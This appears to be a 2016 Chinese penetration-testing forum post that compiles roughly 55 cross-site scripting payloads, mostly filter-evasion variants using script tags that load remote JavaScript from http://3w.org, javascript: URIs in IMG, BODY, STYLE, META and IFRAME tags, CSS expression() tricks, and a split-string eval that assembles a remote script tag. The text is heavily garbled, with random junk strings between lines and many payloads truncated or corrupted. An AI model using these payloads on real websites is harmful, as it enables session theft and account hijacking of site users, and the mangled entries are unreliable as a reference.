中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2016-4-28 10:06
标题:
XSS攻击汇总
(1)普通的XSS JavaScript注入
+ c8 f9 K. m$ x0 G7 g
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ g) v |# h/ D) v1 F
(99)另类弹框
' C4 s+ x! V' O% h6 I2 f1 r
<q/oncut=alert()>1
/ Q1 ]! ]( B# e+ f. x' [: \ q
<s/onclick=alert()>b
. Z3 P3 n+ Z+ h+ n2 }! f- F4 y
<XSS=" onclick="alert(1)//">clickme</SSX=">
; c% Q& t9 X( {& u- E$ c
<zzz onclick=alert`1`>clickme</zzz>
2 L0 V Z% E9 O( G
<a onclick=alert`1`>clickme</a>
: H/ w- q! O ?" L6 s7 X1 v3 [7 p s1 q
<a=">clickme</a=">
0 D, K9 Q4 H$ w \8 V" b" E
<a=">clickme</a>
: G! J1 O' L0 ~3 ^
<z=">clickme</z=">
$ e4 E4 H; @( d* F& f; I6 i; q
<z onclick=alert`1`>clickme</z>
, B# G/ ?' a8 f3 `: {- v
/ A: } z8 B, k( u
(2)IMG标签XSS使用JavaScript命令
% i! P& R- \& h. ^! ~
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# t6 n0 ^: \# V K
/ c3 i' Y- t8 i5 I3 o& F* e
(3)IMG标签无分号无引号
+ d0 T$ a v9 e2 ]
<IMG SRC=javascript:alert(‘XSS’)>
8 z/ I$ q7 e7 z. {$ ?, ]
& J4 E( e5 m* ?- d* V" G! x- _% O
(4)IMG标签大小写不敏感
! F, J8 R, F) z8 s. F
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
3 T- r* R/ M' c
$ _$ `0 k4 E& Z/ v$ y
(5)HTML编码(必须有分号)
& h5 |5 H$ d: c/ z" K m4 n
<IMG SRC=javascript:alert(“XSS”)>
% x. l% S+ M" R4 W x
8 W+ G1 ^% y5 W8 O
(6)修正缺陷IMG标签
- K' y; O# P& C& h: f/ Q$ m4 H7 D
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 X! p+ ~& y* C1 q; i( b8 @
0 c; G0 I# h# e( x
(7)formCharCode标签(
计算器
)
. S5 K4 P7 t. G* q
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
( x( b! ?3 d o& ^
7 H s* W3 C! [; [6 [& ?* ]* Q
(8)UTF-8的Unicode编码(
计算器
)
" A7 X. D6 b+ O
<IMG SRC=jav..省略..S')>
6 J; Y4 { o7 ?) ]5 j
* F" c) t; [8 f) T/ p* M8 C% R7 O
(9)7位的UTF-8的Unicode编码是没有分号的(
计算器
)
& I# T3 V& v2 j9 w# V0 s8 Z V
<IMG SRC=jav..省略..S')>
5 C m7 J" T* r T6 w
6 E7 P, @8 R' m {! q4 ~8 u- i
(10)十六进制编码也是没有分号(
计算器
)
8 |, k0 r( w: e, C2 R5 b
<IMG SRC=\'#\'" /span>
" @& g2 `% B1 l- L4 k
* r1 [+ V* d( F/ R# o) ~
(11)嵌入式标签,将Javascript分开
7 E9 H. o* i# e4 S9 q8 \
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
- w; M! f. z7 m: [$ q
! Z/ ~& F, H* r6 P; w
(12)嵌入式编码标签,将Javascript分开
1 d: h' F$ M6 ]4 i4 d' Q
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
1 U! w8 D/ E, W2 m, |
?3 I' [, X2 H+ a# C
(13)嵌入式换行符
% O( P" F; [: p5 }, _# s7 I
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
, W: L9 u' v& {* A. l& T7 w' r
2 y C2 d% m7 Q( W! K; T3 V
(14)嵌入式回车
+ j* D$ i7 R. O' F: ?/ j( v$ G6 G- U
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
: R' W6 Y" E1 ~, @% p8 I
. ]4 i: W9 A$ [$ @* I# }
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
5 ^9 r* d: q; [* r% g1 Y
<IMG SRC=\'#\'" /span>
9 [ s* U( B$ I, E* x
, S2 h# h6 I+ a5 P5 @
(16)解决限制字符(要求同页面)
/ D8 J9 V! k4 j9 b- u/ o5 b8 i/ }
<script>z=’document.’</script>
- u* u% {- i5 F% z) E( [
<script>z=z+’write(“‘</script>
+ G3 Z8 n8 L q q) T' ^7 y: v
<script>z=z+’<script’</script>
& }* z2 @1 [8 w2 A5 `6 h+ W* P% z8 n5 V
<script>z=z+’ src=ht’</script>
6 W& ^. h* n: |+ J6 C1 K
<script>z=z+’tp://ww’</script>
3 @, q0 E7 B' X; B+ a2 Q/ Z2 [
<script>z=z+’w.shell’</script>
8 Y2 _6 ^. A" s
<script>z=z+’.net/1.’</script>
2 P- u2 T, ?! a0 i, y
<script>z=z+’js></sc’</script>
& P+ G1 [; e( {9 d# I( o& G& Z
<script>z=z+’ript>”)’</script>
; g, n$ M8 J8 i9 Z x% h
<script>eval_r(z)</script>
* }/ w, S7 u* b& T- F; R6 g
/ B% Y G6 Y! g( B' r: e
(17)空字符
; r0 S+ f/ D7 M) j3 G2 I S
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
' I% k# S* F% M4 q9 M
5 y: Y4 g0 I9 B) Z
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
' j2 j0 N4 ^9 S* z( ~, \
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
- {6 k1 e: M6 H( d- ^, R4 R
0 I/ f2 R+ L. f; S, `
(19)Spaces和meta前的IMG标签
2 \- H. |9 G9 N4 R: J* \& O! S
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
* ?2 |4 P& Y+ M8 q) w; D5 r
8 H! [, E7 a- k9 i
(20)Non-alpha-non-digit XSS
8 \: ^/ i( ^. ^+ @
<SCRIPT/XSS SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
# _# d) I+ e7 {& H
5 P; P8 A ]/ c* t+ A
(21)Non-alpha-non-digit XSS to 2
4 Y; n0 u1 y+ ^- R; W( `
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
. ~$ D) H7 d, u/ r4 a
1 A6 q# I4 j1 l+ c$ E
(22)Non-alpha-non-digit XSS to 3
9 k( i, T7 t9 G
<SCRIPT/SRC=\'#\'" /span>
http://3w.org/XSS/xss.js
”></SCRIPT>
' U* j! R- J" Y4 s% k1 S) y
8 L; {6 k- [ Z8 n* t
(23)双开括号
/ ?3 C" p0 x0 L' K3 {( c
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- g9 X1 c; Y7 a8 d9 K
. V) l5 M- I& |+ G; ^
(24)无结束脚本标记(仅火狐等浏览器)
+ D8 M8 C( c5 V8 U: ~$ d
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
+ T! Q. Q$ M- X8 G) S3 w
! F: J% ^; U3 ^
(25)无结束脚本标记2
& @! g, c8 D( a6 l0 y4 j5 \; _
<SCRIPT SRC=//3w.org/XSS/xss.js>
' D4 T/ E. g3 q5 n/ R) g
, E" d1 z- z! r! n
(26)半开的HTML/JavaScript XSS
1 }5 C, O! j, j
<IMG SRC=\'#\'" /span>
6 ~$ b# E8 p, y# @) `" ]" v
! B0 r% x. m' Q7 h/ d1 w
(27)双开角括号
9 @) @" z: m6 F- \8 j& t i
<iframe src=http://3w.org/XSS.html <
7 o+ b# O' v( z* v. u
9 e" L* ^) I& L; `, k9 ~
(28)无单引号 双引号 分号
$ A; E( c3 O+ t$ k- L. O5 x9 C( i1 V
<SCRIPT>a=/XSS/
2 C& z5 Q4 | X
alert(a.source)</SCRIPT>
& G( u4 i' v |5 `
! m4 H" @6 W1 A) B; d5 R" J6 T
(29)换码过滤的JavaScript
+ h8 n& z2 c8 b9 \! j. e
\”;alert(‘XSS’);//
, S/ `5 Z. m5 b# _, J
- s( p* y( }5 m! h9 }
(30)结束Title标签
2 e4 B T/ w3 \) w* N0 A5 D# }5 S
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- A4 o+ Y6 r- ^& D
% T+ G$ v! g% n
(31)Input Image
0 c0 j$ P* C; w, Q, b
<INPUT SRC=\'#\'" /span>
0 ]3 A+ c2 w+ y1 A
( b$ A7 a7 G' V7 o& J! F
(32)BODY Image
3 |- g' j, `6 ^( N# }( w( m) b
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
9 `2 L' A( N4 c& R
0 H9 d/ y+ m: K" o0 s) G, `$ p: b' v
(33)BODY标签
8 j. z" {5 s3 y7 G+ z2 I# R. k4 R3 P- }
<BODY(‘XSS’)>
" k. n$ d! {% j; i, z. `# a' `
5 O* f/ d& g' v& i# [" w
(34)IMG Dynsrc
( {5 g! [7 N n, x# W; L6 D# g
<IMG DYNSRC=\'#\'" /span>
8 X$ S! M5 j% B1 E
! I6 ^2 N$ {8 a8 i0 P3 q9 d
(35)IMG Lowsrc
9 K% ^/ q2 g1 o2 ]& T! }6 ~9 g
<IMG LOWSRC=\'#\'" /span>
! h2 j8 O% N5 p- E* [3 n+ a
' x0 Q( z# V: Y& z$ ]2 X: ]- n
(36)BGSOUND
( X, K/ X6 `- p; {8 Q! q1 Y+ O
<BGSOUND SRC=\'#\'" /span>
j! l# V0 P8 ~
4 A; [4 Z, O# x9 S$ ]- _
(37)STYLE sheet
5 }, D- D: X* B; N3 ~# B9 t5 `
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
8 P) j6 v7 J/ E% o" S& Z' F
1 ?4 I+ O; o6 c
(38)远程样式表
" C, x7 o9 z- j' E
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
4 ?$ [6 Q) G7 R0 {/ g! D
0 V6 Y0 T/ z+ b! s: v
(39)List-style-image(列表式)
1 c+ D2 c) j5 u( S5 B
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
; g* U" |5 R9 Z7 f' h" r! ~* i
; z' ` c1 s" _; J7 h+ g1 {: [& t) h
(40)IMG VBscript
) J1 E( U! r& x9 d
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
+ F' F# B! \5 B' M) H7 _) F
' J/ W% P; l; i2 }! {1 G- q* e+ ]
(41)META链接url
6 Z# ^0 i i) h9 e3 Y5 }
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
; u- W" j. l: s2 Q6 r# S/ I# W
: z, E" S" x- g$ d8 t: w8 ]) I) e
(42)Iframe
7 Q' f+ z4 [3 q: h! x9 r+ a( t- ^
<IFRAME SRC=\'#\'" /IFRAME>
7 r; o. \1 Q8 y# T
3 N5 f/ T; w1 ]% i6 ]! ?+ _# Z( M
(43)Frame
# H u a4 U- P! o8 [9 @
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
I% Q5 Y# s$ a7 ]8 g* ~3 ?
% d/ h' I+ g7 }8 X
(44)Table
. Q$ o1 [( N) y, `) h
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ b% S' p; c* |+ i0 h1 f/ o
. t2 c0 m. h4 i$ s
(45)TD
' V" a+ _! f+ F' w- u- `
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
) I1 F& R4 X0 k
$ K* `& K+ `1 B' w, f( T. i$ a) c
(46)DIV background-image
7 l1 T- x; E* P( [+ w
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
; p" w" ^, A2 B' o9 r
; `4 v3 W& W" I
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
9 {! e" Z. K- w8 `
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
! l) z- i4 q& ]" L
* h( ~0 |& F! E. v# y1 U7 A3 R
(48)DIV expression
" F' W4 f- a$ V
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
5 C/ L5 H! v4 H+ V8 P; t; j; `
8 v6 b" }" o$ |
(49)STYLE属性分拆表达
' B; o/ V1 U8 J+ D
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
1 E& a+ n9 w2 ~
9 ?0 d0 @+ G0 |0 {2 y4 i, R5 y
(50)匿名STYLE(组成:开角号和一个字母开头)
1 y& _3 P" Z6 u. s6 E% V
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
1 n! u- g) s; N
' Y+ ^- l2 M- u0 q3 @
(51)STYLE background-image
; y+ z2 p: [) E$ q8 q/ g }) d
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
; {9 Z0 a2 Z h
2 V1 S8 S# S) W. v; H( p* U$ Z
(52)IMG STYLE方式
- @) I. f6 G5 Z
exppression(alert(“XSS”))’>
: F+ m0 n/ G- e @) L
2 M# P$ D# u7 v, [
(53)STYLE background
1 x) S1 `/ r8 | F4 Y' `
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
' o5 P) Q& i% e+ N0 X) A6 b5 Y
; ?. V. a: ^2 B9 i2 @( _2 S' C
(54)BASE
0 ^4 q1 R8 m8 Y
<BASE HREF=”javascript:alert(‘XSS’);//”>
2 }, B' e5 C6 u4 S0 C2 s
) X U7 n! J! e( m. a1 ?/ ^
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
: H5 r; J6 W/ l" R1 w6 r
<EMBED SRC=\'#\'" /span>
http://3w.org/XSS/xss.swf
” ></EMBED>
5 D8 a# C- F& o* t/ c% e4 Z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2